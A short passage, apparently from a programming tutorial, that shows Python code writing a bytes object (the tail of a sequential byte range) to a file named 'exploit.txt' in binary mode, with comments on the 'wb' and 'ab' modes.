\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
# Open in "wb" mode to
# write a new file, or
# "ab" mode to append
with open("exploit.txt", "wb") as binary_file:
    # Write bytes to file
    binary_file.write(some_bytes)

Similar Posts